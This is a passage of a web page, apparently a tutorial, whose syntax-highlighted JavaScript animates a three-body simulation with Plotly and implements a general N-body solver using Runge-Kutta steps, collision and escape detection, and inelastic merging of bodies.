<span class="w">            </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;lines+markers&#39;</span><span class="p">,</span>
<span class="w">            </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;star&#39;</span><span class="p">,</span>
<span class="w">                </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">8</span><span class="p">,</span>
<span class="w">                </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="p">},</span>
<span class="w">            </span><span class="p">},</span>
<span class="w">            </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span>
<span class="w">            </span><span class="p">},</span>
<span class="w">            </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="p">,</span>
<span class="w">        </span><span class="p">},</span>
<span class="w">    </span><span class="p">];</span>

<span class="w">    </span><span class="c1">// width: 1000, height: 400</span>
<span class="w">    </span><span class="kd">const</span><span class="w"> </span><span class="nx">layout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;∞ Three-Body Problem: t = &#39;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="nx">currentIndex</span><span class="p">].</span><span class="nx">toFixed</span><span class="p">(</span><span class="mf">3</span><span class="p">),</span>
<span class="w">        </span><span class="nx">xaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;x&#39;</span><span class="p">,</span>
<span class="w">            </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">1.1</span><span class="p">]</span>
<span class="w">        </span><span class="p">},</span>
<span class="w">        </span><span class="nx">yaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;y&#39;</span><span class="p">,</span>
<span class="w">            </span><span class="nx">scaleanchor</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;x&#39;</span><span class="p">,</span>
<span class="w">            </span><span class="nx">scaleratio</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span>
<span class="w">            </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">0.5</span><span class="p">,</span><span class="mf">0.5</span><span class="p">]</span>
<span class="w">        </span><span class="p">},</span>
<span class="w">        </span><span class="nx">plot_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;black&#39;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">paper_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;black&#39;</span><span class="p">,</span>
<span class="w">        </span><span class="nx">font</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;white&#39;</span><span class="p">,</span>
<span class="w">        </span><span class="p">},</span>
<span class="w">    </span><span class="p">};</span>

<span class="w">    </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">animate</span><span class="p">(</span><span class="s2">&quot;plot&quot;</span><span class="p">,</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">data</span><span class="o">:</span><span class="w"> </span><span class="nx">data</span><span class="p">,</span><span class="w"> </span><span class="nx">layout</span><span class="o">:</span><span class="w"> </span><span class="nx">layout</span>
<span class="w">      </span><span class="p">},</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">staticPlot</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w">        </span><span class="nx">transition</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">          </span><span class="nx">duration</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span>
<span class="w">        </span><span class="p">},</span>
<span class="w">        </span><span class="nx">frame</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">          </span><span class="nx">duration</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span>
<span class="w">          </span><span class="nx">redraw</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">      </span><span class="p">});</span>
<span class="w">      </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">newPlot</span><span class="p">(</span><span class="s1">&#39;plot&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="p">,</span><span class="w"> </span><span class="nx">layout</span><span class="p">);</span>
<span class="w">      </span><span class="p">}</span>


<span class="w">    </span><span class="nx">plotIndex</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="nx">delay</span><span class="p">;</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">plotClassic</span><span class="o">===</span><span class="kc">true</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">requestAnimationFrame</span><span class="p">(</span><span class="nx">plotClassicFunc</span><span class="p">);</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">      </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span>
<span class="w">      </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>

<span class="w">    </span><span class="p">}</span>
</code></pre>
</div>

<h2 id="general-n-body-solver">"General" N-Body Solver</h2>

<h3 id="show-me-the-code-2">Show me the code!</h3>

<div class="codehilite">
<pre><span></span><code><span class="kd">function</span><span class="w"> </span><span class="nx">step</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67408313131313e-11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">k1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">k2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">k1</span><span class="p">,</span><span class="w"> </span><span class="mf">0.5</span><span class="p">)),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">k3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">k2</span><span class="p">,</span><span class="w"> </span><span class="mf">0.5</span><span class="p">)),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">k4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">k3</span><span class="p">),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>

<span class="w">    </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">k1</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="mf">2.0</span><span class="p">,</span><span class="w"> </span><span class="nx">k2</span><span class="p">),</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="mf">2.0</span><span class="p">,</span><span class="w"> </span><span class="nx">k3</span><span class="p">),</span><span class="w"> </span><span class="nx">k4</span><span class="p">),</span><span class="w"> </span><span class="mf">1</span><span class="o">/</span><span class="mf">6</span><span class="p">));</span>

<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nx">coords</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span><span class="w"> </span><span class="nx">detectCollisionsEscape</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">maxSep</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">y</span><span class="p">,</span><span class="w"> </span><span class="nx">vx</span><span class="p">,</span><span class="w"> </span><span class="nx">vy</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">;</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">V</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vx</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">v</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nx">v</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">vy</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="p">));</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">R</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">V</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">v</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">);</span>
<span class="w">  </span><span class="kd">let</span><span class="w"> </span><span class="nx">collision</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>

<span class="w">  </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">n</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">n</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">n</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">rn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">R</span><span class="p">[</span><span class="nx">n</span><span class="p">],</span><span class="w"> </span><span class="nx">xn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">n</span><span class="p">],</span><span class="w"> </span><span class="nx">yn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">n</span><span class="p">];</span>
<span class="w">      </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">          </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="o">!==</span><span class="w"> </span><span class="nx">n</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">              </span><span class="kd">const</span><span class="w"> </span><span class="nx">minSep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">rn</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">R</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
<span class="w">              </span><span class="kd">const</span><span class="w"> </span><span class="nx">sep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">((</span><span class="nx">xn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="nx">yn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="p">);</span>
<span class="w">              </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">sep</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">minSep</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">                  </span><span class="nx">collision</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w">                  </span><span class="nx">collisionInds</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">n</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">];</span>
<span class="w">              </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">sep</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="nx">maxSep</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">                  </span><span class="nx">escape</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w">                  </span><span class="nx">escapeInd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">n</span><span class="p">;</span>
<span class="w">                  </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">collision</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="p">];</span>
<span class="w">              </span><span class="p">}</span>
<span class="w">          </span><span class="p">}</span>
<span class="w">      </span><span class="p">}</span>
<span class="w">  </span><span class="p">}</span>
<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">collision</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="p">];</span>
<span class="p">}</span>

<span class="kd">function</span><span class="w"> </span><span class="nx">nBodyStep</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">maxSep</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67408313131313e-11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="c1">// Similar to our step function before, but keeping track of collisions</span>
<span class="w">  </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">step</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">);</span><span class="w"> </span><span class="c1">// Update the positions as we did before</span>
<span class="w">  </span><span class="c1">//console.log(detectCollisionsEscape(coords, deltaT, maxSep));</span>
<span class="w">  </span><span class="kd">let</span><span class="w"> </span><span class="p">[</span><span class="nx">collision</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">detectCollisionsEscape</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">maxSep</span><span class="p">);</span><span class="w"> </span><span class="c1">// Detect collisions/escapes</span>


<span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">collision</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="c1">// Do inelastic collision and delete extra body (2 -&gt; 1)</span>
<span class="w">    </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">i1</span><span class="p">,</span><span class="w"> </span><span class="nx">i2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">;</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">x1</span><span class="p">,</span><span class="w"> </span><span class="nx">x2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">i1</span><span class="p">],</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">i2</span><span class="p">]];</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">y1</span><span class="p">,</span><span class="w"> </span><span class="nx">y2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">i1</span><span class="p">],</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">i2</span><span class="p">]];</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">vx1</span><span class="p">,</span><span class="w"> </span><span class="nx">vx2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">i1</span><span class="p">],</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">i2</span><span class="p">]];</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">vy1</span><span class="p">,</span><span class="w"> </span><span class="nx">vy2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">i1</span><span class="p">],</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">i2</span><span class="p">]];</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">px1</span><span class="p">,</span><span class="w"> </span><span class="nx">px2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">vx1</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">vx2</span><span class="p">];</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">py1</span><span class="p">,</span><span class="w"> </span><span class="nx">py2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">vy1</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">vy2</span><span class="p">];</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">px</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">px1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">px2</span><span class="p">;</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">py</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">py1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">py2</span><span class="p">;</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">newM</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">];</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">vfx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">px</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">newM</span><span class="p">;</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">vfy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">py</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">newM</span><span class="p">;</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">x1</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">x2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">(</span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">]);</span><span class="w"> </span><span class="c1">// Center of mass</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">y1</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">y2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">(</span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">]);</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vfx</span><span class="p">;</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vfy</span><span class="p">;</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">].</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">].</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">].</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w">      </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">newM</span><span class="p">;</span>
<span class="w">      </span><span class="nx">masses</span><span class="p">.</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w">      </span><span class="nx">nBodies</span><span class="o">--</span><span class="p">;</span>
<span class="w">  </span><span class="p">}</span>
<span class="w">  </span><span class="c1">// Could also implement condition for escape where we stop calculating forces but I&#39;m too lazy for now</span>
<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">collision</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="p">];</span>
<span class="p">}</span>

<span class="kd">function</span><span class="w"> </span><span class="nx">uniform</span><span class="p">(</span><span class="nx">min</span><span class="p">,</span><span class="w"> </span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
